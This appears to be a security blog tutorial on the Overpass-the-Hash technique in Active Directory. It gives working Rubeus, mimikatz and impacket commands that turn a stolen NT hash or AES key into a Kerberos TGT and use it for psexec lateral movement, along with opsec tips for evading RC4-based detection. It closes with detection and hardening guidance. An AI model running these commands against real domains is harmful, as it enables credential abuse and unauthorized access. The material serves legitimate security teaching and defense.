Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Overpass-the-Hash (OPtH), also called Pass-the-Key, is the technique that upgrades a stolen NTLM hash into a full Kerberos identity. Straight Pass-the-Hash replays the NT hash inside the NTLM protocol; Overpass-the-Hash instead uses that same hash as the account’s Kerberos long-term key to request a legitimate Ticket-Granting Ticket (TGT). The result is a genuine Kerberos TGT for the victim account, obtained without ever knowing the password, that can then be used to reach services which reject NTLM entirely.
This matters because many hardened environments disable or restrict NTLM, and modern detection increasingly flags NTLM authentications. Converting hash material into Kerberos lets an operator blend into normal Kerberos traffic and access Kerberos-only resources — file shares, LDAP, MSSQL, and anything behind a Service Principal Name. It is the connective tissue between credential theft and clean Kerberos-based lateral movement, and it is a prerequisite mindset for Silver/Golden ticket work.
Attack Prerequisites
Overpass-the-Hash needs one of the account’s Kerberos keys and the ability to talk to the KDC:
- A Kerberos key for the account — the RC4 key is simply the NT hash (
MD4of the password), so any dumped NT hash works; an AES128/AES256 key (from LSASS orsecretsdump.py) works too and is stealthier. - Network access to the domain KDC (a Domain Controller, TCP/UDP 88) to send the AS-REQ and receive the TGT.
- Correct account and domain naming — the username, realm, and (for AES) the salt must match, since the KDC validates the encrypted pre-auth timestamp against the stored key.
- A host to use the ticket from — Windows for
sekurlsa::pth/Rubeus withptt, or any box running impacket where you exportKRB5CCNAME.
How It Works
Kerberos authentication begins with an AS-REQ to the KDC. To prove knowledge of the account’s secret, the client includes PA-ENC-TIMESTAMP pre-auth data: the current time encrypted with the account’s long-term key. The KDC decrypts it with the copy of the key it holds; if the timestamp is fresh and valid, it returns a TGT. The pivotal fact is what that long-term key *is*. For the RC4-HMAC encryption type (etype 23 / 0x17), the Kerberos key is exactly the NT hash — no further derivation. So possessing the NT hash means possessing the RC4 Kerberos key, and you can satisfy pre-auth and obtain a TGT directly.
This is precisely how OPtH differs from PtH. PtH keeps you inside NTLM, keying the challenge-response with the NT hash. OPtH takes the same 16 bytes and presents them to the KDC as the RC4 key, receiving back a first-class Kerberos TGT. Once you hold that TGT you can request service tickets (TGS-REQ) for any SPN the account may reach, and authenticate to Kerberos-only services that would refuse an NTLM login outright.
The AES keys (etypes 17 and 18) are not the NT hash — they are derived from the password and a salt (the realm plus username) via PBKDF2 and cannot be computed from the NT hash alone. If you have dumped the AES256 key, however, you can OPtH with it just the same, and doing so is quieter: requesting a TGT with RC4 in an AES-capable domain stands out, because normal clients would negotiate AES.
Vulnerable Configuration: What Makes It Exploitable
As with PtH, there is no application bug — the exploitable property is that the RC4 Kerberos key equals the NT hash, so any leaked hash is a usable Kerberos credential. The tooling makes the equivalence explicit: you pass the NT hash where a password would go, selecting the RC4 etype.
# Rubeus: /rc4 takes the NT hash directly as the RC4-HMAC Kerberos key.
Rubeus.exe asktgt /user:jdoe /domain:corp.local \
/rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
# The KDC returns a real TGT; /ptt injects it into the current session.
The condition that makes RC4-based OPtH possible at all is a domain that still permits RC4 for Kerberos. Where accounts retain RC4 keys and the KDC accepts etype 23, a bare NT hash is sufficient. The msDS-SupportedEncryptionTypes attribute on an account governs which etypes are offered; leaving RC4 enabled keeps the door open:
# On the target account object (LDAP attribute):
msDS-SupportedEncryptionTypes = 0x1C (RC4 | AES128 | AES256 all enabled)
# 0x18 would be AES-only (RC4 disabled). With RC4 present, the NT hash
# alone satisfies AS-REQ pre-auth and yields a TGT.
Walkthrough / Exploitation
On Windows, mimikatz performs OPtH as a side effect of sekurlsa::pth: it spawns a process under a new logon session with the NT hash injected, and the first Kerberos authentication from that process transparently requests a TGT using the hash as the RC4 key:
privilege::debug
sekurlsa::pth /user:jdoe /domain:corp.local /ntlm:2b576acbe6bcfda7294d6bd18041b8fe /run:cmd.exe
# In the new cmd, trigger Kerberos so a TGT is minted and cached:
# klist purge && dir \\fileserver.corp.local\share && klistRubeus gives finer control and can request the TGT explicitly, then either inject it (/ptt) or write it to a .kirbi for reuse. If you have the AES256 key, prefer it to avoid the RC4 downgrade signature:
# RC4 (from NT hash):
Rubeus.exe asktgt /user:jdoe /domain:corp.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
# AES256 (stealthier, blends with normal Kerberos):
Rubeus.exe asktgt /user:jdoe /domain:corp.local \
/aes256:5c1f... /pttFrom Linux, impacket’s getTGT.py builds the AS-REQ from the hash and writes a credential cache; export KRB5CCNAME and every subsequent impacket tool uses Kerberos with -k -no-pass:
# NT hash -> TGT (impacket accepts LM:NT; leading colon = blank LM)
getTGT.py -hashes :2b576acbe6bcfda7294d6bd18041b8fe corp.local/jdoe
export KRB5CCNAME=jdoe.ccache
# Now authenticate to a Kerberos service with the cached TGT:
psexec.py -k -no-pass corp.local/jdoe@fileserver.corp.local
klist # inspect the cached TGT/TGSNote: Overpass-the-Hash is the natural precursor to further Kerberos abuse: with a TGT in hand you can perform S4U delegation attacks, roast service accounts, or (if you hold the krbtgt hash) forge Golden Tickets. The difference between OPtH and a Golden Ticket is authority — OPtH asks the KDC for a real ticket using a real account’s key, while a Golden Ticket forges the TGT offline using the krbtgt key.
Opsec: Requesting a TGT with etype RC4 (0x17) in a domain where AES is the norm is a strong hunting signal. If you have the AES256 key, use it. Also purge stale tickets (
klist purge/kerberos::purge) before injecting, so the session does not carry conflicting tickets that break service access.
Detection and Defense
OPtH surfaces at the KDC as ticket requests, and the encryption type is the richest signal. Defenses aim to remove RC4 and protect the key material that makes the technique possible.
- Alert on RC4 Kerberos tickets — Security event 4768 (TGT requested) and 4769 (service ticket) with Ticket Encryption Type 0x17 are suspicious in an AES-capable domain and are a hallmark of RC4-based OPtH.
- Disable RC4 for Kerberos via
msDS-SupportedEncryptionTypes/ group policy so accounts only accept AES, removing the NT-hash-as-key shortcut. - Protect key material — Credential Guard and Protected Users keep NT and AES keys out of reach in LSASS; Protected Users members also cannot use RC4 or DES for Kerberos.
- Correlate anomalies — a TGT requested from an unusual host, or immediately followed by access to many SPNs, is a behavioural indicator even when the etype looks normal.
- Rotate exposed credentials — once a hash is known to be leaked, resetting the password (twice for krbtgt) invalidates the derived Kerberos keys.
Real-World Impact
Overpass-the-Hash is a standard rung in the Active Directory attack ladder taught in offensive courses and baked into toolkits like mimikatz, Rubeus, and impacket. It is the quiet cousin of Pass-the-Hash that operators reach for when NTLM is restricted or when they want to move within Kerberos to set up delegation abuse, Kerberoasting follow-on, or ticket forgery. Its durability comes from the same root as PtH: RC4 Kerberos keys are the NT hash, so as long as RC4 lingers in a domain, a single dumped hash is a ready-made Kerberos credential.
Conclusion
Overpass-the-Hash bridges NTLM credential theft and Kerberos, turning a 16-byte NT hash into a genuine TGT by exploiting the fact that the RC4 Kerberos key is that very hash. The most effective countermeasure is to eliminate RC4 so accounts rely on salted AES keys that cannot be derived from the NT hash, backed by Credential Guard and Protected Users to keep the keys unreachable and by KDC monitoring that treats RC4 ticket requests as the anomaly they are.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments